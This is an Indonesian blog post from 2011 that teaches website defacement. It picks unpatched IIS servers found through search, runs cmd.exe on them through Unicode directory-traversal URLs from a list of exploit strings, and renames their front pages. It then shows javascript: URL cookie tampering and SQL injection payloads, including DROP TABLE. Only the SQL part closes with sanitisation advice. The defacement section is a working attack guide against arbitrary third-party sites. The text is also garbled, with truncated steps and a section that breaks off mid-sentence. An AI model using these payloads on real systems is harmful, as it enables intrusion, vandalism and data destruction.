Senin, 30 Mei 2011

CONTOH DEFACE & JAVASRIPT INJECTION


DEFACING
----------------------

OK...mari kita mulai...Pertama kita cari site site target terlebih dahulu di search engine (google,yahoo,dll)...key nya terserah kowe.....Lalu utk mengetahui site itu menggunakan
MS IIS 4.0/5.0...Kita scan terlebih dahulu di www.netcraft.com......dapat site yah..??...Okeh..
setelah kita mendapatkan site yg menggunakan MS IIS 4.0/5.0 ...Langkah selanjutnya utk mengetahui site tersebut belum di-patch bug unicode nya mari kita scan site tersebut di mirc (utk mengeteahui cara scan lewat mirc....coba koe buka http://www.jasakom.com/hacking.asp page 3 Scanning Exploit Unicode Dengan MIRC),bisa juga memakai sopwer yg bisa and DL di http://accessftp.topcities.com/.... or memakai cara manual yg lebih sering sayah gunakan ehehhehehhee...contoh:

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

Ada dua kemungkinan yang tampil pada browser Anda yaitu:
Kahiji : Muncul pesan ERROR ...
Kaduana : Muncul daftar file-file dari drive C pada komputer server target. Bila ini terjadi maka
www.targethost.com tadi ada kemungkinan untuk bisa kita deface...

Mari kita perhatikan URL aneh bin ajaib diatas. Akan sayah bagi URL diatas menjadi empat bagian yaitu :
• Bagian host, yaitu "http://www.targethost.com"
• Bagian exploit string, yaitu "/scripts/..%255c..%255c"
• Bagian folder, yaitu "/winnt/system32/"
• Bagian command, yaitu "cmd.exe?/c+dir+c:\"

Kita lihat pada bagian command diatas menunjukkan perintah "dir c:\" yang berarti melihat seluruh
file-file yang berada pada root drive C. Koe bisa mencoba perintah yang lain seperti "dir d:\"
atau yang lain. Ingat, Koe harus mengganti karakter spasi dengan tanda "+". Koe bahkan bisa menge
tahui konfigurasi IP address komputer tujuan dengan mengetikkan perintah "ipconfig.exe /all"

Selain itu ada beberapa kemungkinan yaitu bisa saja URL diatas masih menampilkan error pada
browser koe. Untuk itu koe ganti sajah bagian eksploit stringnyah, eksploit string yg sering
tembus adalah :
- /cgi-bin/..%255c..%255c
- /msadc/..%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af..
- /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..
- /scripts/..%255c..%255c

Jika semua pilihan eksploit string diatas masih memunculkan pesan error pada browser koe maka
kemungkinan besar IIS pada web server sudah di-patch bug unicode nya (OR IE kowe yg lagie dodolss ...hiheiehiehiehei). Dan koe bisa memilih situs lain sebagai sasaran....(yg sabar yah nak nyari targetnyah...ehehhehehe).

Lanjuttt......udeh dapet site yg bug unicodenyah gak di patch..??....Langkah berikutnya adalah
mengetahui di folder manakah diletakkan dokumen-dokumen web seperti default.htm/html/asp,,
index.htm/html/asp,home.htm/html/asp,main.htm/html/asp,.ada juga yg pake .php/php3/shtml.
Folder ini dinamakan web root. Biasanya web root berada di C:\InetPub\wwwroot\ atau
D:\InetPub\wwwroot. Tapi terkadang web administrator menggantinya dengan yang lain. Untuk mengetahuinya koe cukup mengetikkan URL seperti di bawah ini

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+set

URL diatas akan menampilkan daftar environment variable dari web server sasaran. Kebuka..??...
Nah tugas koe skrg adalah mencari PATH_TRANSLATED atau tulisan PATH_TRANSLATEDnyah...gak ada yahh ..??...coba deh koe ripresh lagehh...udah ketemuuu...nah skrg kita DIR deh tuh si PATH_TRANSLATED nyah.....Kita ambil contoh PATH_TRANSLATEDnyah : C:\InetPub\wwwroot....Perintahnya ng-DIR nyah :

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot

Huaaaaaaa....isinyah banyak banged yahh.....mana dokumen2 web yg kita curigain itu ada 3 bijih
lagehh....hemm santeyy...oiyahh...lupa sayah...Tugas kita setelah ng-DIR PATH_TRANSLATEDnyah.....
truss kita cari dokumen web itu disitu utk kita RENAME....gemana kalo misalnyah dokumen2 web yg kita curigain itu ada 3..santeyy...coba skrg koe buka site aslinyah di laen window....
http://www.targethost.com == neh yg ini......di situ kan alias di
http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot
dokumen2 web nyah ada 3 macem pasti kita bingung yg mana neh yg mo di RENAME....misalnya : di

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\InetPub\wwwroot itu ada :
Directory of C:\InetPub\wwwroot
07/20/01 03:21p 1,590 default.htm
07/20/01 03:21p 590 index.html
07/20/01 03:21p 3,453 main.html

Udah di buka kan site aslinyah...nah coba masukin salah satu dokumen web itu di site asli nyah...
contoh : http://www.targethost.com/default.htm kita liad hasilnya apa kah sama gambarnya (halaman depannya) setelah kita masukin dokumen web tadee.waww ternyata tidak sama hemm.coba masukin lageh salah satu dokumen web itu site aslinyah.mMmm..kita masukin yg main.html.waww waww..ternyata sama gambarnyahh.Nah skrg kita RENAME deh yg main.html ituu. perintahnya :

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ren+C:\InetPub\wwwroot\main.html+gue.html

Lihat apa yg terjadi di IE kitaa

CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
Access is denied

Yahhhh..akses dineyy.hiekksss jgn nyerah bro` kita carih lageh targetnyah okeHh !!!Dapat
targetnyah..??udah di RENAME nyah??.Hasilnya setelah di RENAME seperti di bawah ini bukan??

CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are :

Kalo iyahh.waaa selamat anda telah merubah or berhasil men-deface halaman depan web site
tersebut.kalo gak caya buka ajah site aslinyah pasti ERROR kann ehehhehehhee
(Jgn lupa kita simpan C:\InetPub\wwwroot\main.html *file yg kita rename tadi di notepad utk
langkah selanjutnyah*)


Sekarang koe tugasnyah meng-upload file koe ke site tadee Ada dua cara my bro` Pertama lewat ECHO..
Kedua lewat TFTP32.


*Cara pertama :*
Utk meng-upload file lewat echo sebelumnyah kita harus mengcopy file cmd.exe pada direktori
C:\winnt\system32 ke suatu folder lain atau folder yang sama dengan nama lain, misalnya cmdku.exe
. Untuk meng-copy cmd.exe menjadi cmdku.exe pada folder winnt\system32 maka cukup ketik URL
berikut :

http://www.targethost.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c



JAVASCRIPT INJECTION

Javascript injection adalah suatu teknik yang dapat digunakan untuk mengganti isi suatu situs tanpa meninggalkan situs tersebut. Teknik ini memerlukan pengguna komputer untuk memasukkan kode Javascript pada URL suatu suatu situs (jarang sekali suatu situs membiarkan kita untuk melakukan javascript injection pada comment box, informasi, dll kecuali guestbook).

2 perintah yang biasa digunakan untuk Javascript injection adalah alert() dan void(). Contoh, untuk membuat pop-up window, masukkan kode ini ke URL situs:

javascript:alert(‘hello world’);

Tentu, kita bisa masukkan lebih dari 1 perintah di 1 baris. Selain itu, kita bisa menggunakan perintah alert() untuk memunculkan cookie ataupun variabel apapun yang dipakai di situs itu. Contoh:

javascript:alert(document.cookie); alert(variabel);

Hmm, tapi perintah-perintah tersebut hanyalah memunculkan suatu informasi tentang situs tersebut. Bagaimana kalau kita ingin menggantinya? perintah void() akan digunakan untuk ini. Contoh:

javascript:void(variabel=new value);

Struktur perintah untuk mengganti sebuah elemen dari suatu cookie juga hampir sama.

javascript:void(document.cookie=”Field = myValue”);

Perintah ini bisa digunakan untuk membuat Field baru ataupun untuk mengganti sebuah Field sudah ada. Contoh, kalau kita ingin mengganti administration field,

javascript:void(document.cookie=”Admin=True”);

Diatas itu, perintah void() tidak hanya berlaku untuk sebuah elemen saja, kita bisa juga mengganti sebuah form. Misal, kita mempunyai kode seperti:

1.

2.

3.

4.

8.

Dan kita masukkan kode yang berikut

javascript:void(document.forms[0].elements[1].options[1].value=”Aku”);

Maka, yang dilakukannya adalah mengganti form yang pertama (/login.php), elemen yang kedua (

Contoh sql injection

Mari kita lihat contoh penerapan SQL Injection seperti di bawah. Perlu diketahui bahwa contoh yang saya gunakan adalah dengan bahasa pemrograman PHP dan database MySQL.

Seringkali ketika kita akan mengambil data dari database, kita akan menggunakan query seperti

"SELECT * FROM table_user WHERE username = '".$username."';"

Ketika user memasukkan data ke variable $username dengan nilai etersoul maka kode di atas akan berubah menjadi:

SELECT * FROM table_user WHERE username = 'etersoul';

Hasil di atas tampak tidak bermasalah dan dengan mudah sang programmer akan mendapatkan semua data mengenai seorang user dari table_user yang memiliki username = ‘etersoul’. Masalah akan timbul bila seorang hacker (atau user lain) yang mencoba untuk memasukkan nilai ' OR 1 = 1; -- ke dalam variabel $username. Maka hasil dari penggunaan variabel tersebut adalah:

SELECT * FROM table_user WHERE username = '' OR 1 = 1; --'

Query di atas akan mengambil semua data yang terdapat dalam table_user karena terdapat nilai 1 = 1 yang selalu bernilai true. Sedangkan penggunaan -- berguna agar kode setelah tanda tersebut dianggap sebagai komentar (comment) dan tidak dieksekusi oleh SQL. Seorang hacker bisa saja menggunakan data yang telah didapat di atas untuk keperluan yang buruk misalnya menggunakan account user karena password telah diketahui (walau pada kenyataannya saat ini kebanyakan password telah dienkripsi atau diacak sebelum dimasukkan ke database).

Bila contoh di atas tidak cukup, mari kita coba menggunakan '; DROP TABLE table_user; -- sehingga menjadi:

SELECT * FROM table_user WHERE username = ''; DROP TABLE table_user; --'

Setelah query tersebut dieksekusi, maka hilanglah tabel table_user dari database Anda, kecuali Anda memiliki backup atas table itu.

Lalu bagaimana cara mencegah terjadinya SQL Injection ini? Cara yang dapat dilakukan cukup mudah. Di PHP sendiri disediakan fungsi mysql_real_escape_string() yang dapat digunakan untuk “membersihkan” (sanitize) string dengan melakukan escape atau perubahan terhadap karakter-karakter tertentu, misalnya karakter \ menjadi \\, ” menjadi \” sehingga tidak terjadi salah “asumsi” oleh SQL. Sedangkan untuk melakukan sanitize terhadap integer dapat digunakan fungsi intval(). Untuk float dapat digunakan floatval(). Sekarang mari kita lihat kode hacker di atas setelah di-sanitize dengan mysql_real_escape_string($username);

SELECT * FROM table_user WHERE username = '\' OR 1 = 1; --'

atau

SELECT * FROM table_user WHERE username = '\'; DROP TABLE table_user; --'

Yah, sekarang tanda ‘ telah di-escape menjadi \’ sehingga SQL tidak akan menganggap tanda kutip tersebut sebagai bagian dari perintah SQL untuk menutup tanda kutip sebelumnya, melainkan sebagai sebuah karakter.

Untuk bahasa pemrograman lainnya umumnya telah disediakan juga fungsi untuk melakukan escape terhadap string (umumnya fungsi tersebut menggunakan kata escape). Dalam PHP sendiri dapat digunakan mysql_escape_string(), akan tetapi fungsi ini tidak disarankan untuk digunakan karena tidak melakukan escape terhadap beberapa jenis karakter.